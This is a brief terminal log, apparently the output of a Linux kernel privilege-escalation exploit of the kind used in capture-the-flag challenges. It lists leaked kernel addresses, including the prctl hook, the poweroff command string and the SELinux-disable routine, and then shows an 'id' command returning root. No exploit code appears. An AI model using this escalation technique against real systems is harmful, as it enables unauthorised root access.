[+] found kernel base: ffffffff81000000
[+] found prctl_hook: ffffffff81eb7df8
[+] found order_cmd : ffffffff81e4dfa0
[+] found selinux_disable_addr : ffffffff81351c80
[+] found poweroff_work_func_addr: ffffffff810a39c0
id
uid=0(root) gid=0(root)